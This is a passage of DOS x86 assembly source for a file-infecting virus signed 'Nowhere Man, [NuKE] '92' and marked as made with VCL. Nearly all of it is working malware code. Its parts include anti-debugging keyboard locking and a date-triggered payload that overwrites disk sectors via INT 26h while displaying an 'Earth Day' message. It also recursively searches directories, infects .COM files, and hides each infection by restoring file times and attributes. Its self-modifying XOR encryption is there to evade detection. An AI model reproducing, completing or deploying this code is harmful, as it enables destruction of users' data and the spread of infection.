int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
call get_month
cmp ax,0004h ; Did the function return 4?
jne skip00 ; If not equal, skip effect
call get_day
cmp ax,0016h ; Did the function return 22?
jne skip00 ; If not equal, skip effect
call get_year
cmp ax,07C9h ; Did the function return 1993?
jle skip00 ; If less that or equal, skip effect
cmp ax,07CCh ; Did the function return 1996?
jge skip00 ; If greater than or equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: lea si,[di + data00] ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
mov ax,0002h ; First argument is 2
mov cx,0100h ; Second argument is 256
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
int 026h ; DOS absolute write interrupt
sti ; Restore interrupts
end00: xor ah,ah ; BIOS get time function
int 01Ah
xchg dx,ax ; AX holds clock ticks
mov cx,0005h ; We'll divide by 5
cwd ; Sign-extend AX into DX:AX
div cx ; Divide AX by CX
or dx,dx ; Is there a remaindier?
jne no_infection ; If there is then don't spread
call search_files ; Find and infect a file
no_infection:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
db 009h,0C0h,0EEh,0D9h,0ECh
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
db 0E0h,049h,06Ch,01Bh,06Ch
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 00Ah,073h,01Fh,038h,054h
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
db 0D9h,095h,0B5h,0D7h,0D0h
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
db 0F6h,028h,099h,0E1h,06Dh
get_month proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dh ; Copy month into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_month endp
db 071h,021h,0B4h,033h,071h
get_year proc near
mov ah,02Ah ; DOS get date function
int 021h
xchg cx,ax ; Transfer the year into AX
ret ; Return to caller
get_year endp
data00 db "Happy Earth Day!!!",13,10,13,10
db "In the spirit of Earth Day, this VIRUS has recycled your hard disk.",13,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "[Earth Day]",0
db "Nowhere Man, [NuKE] '92",0
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.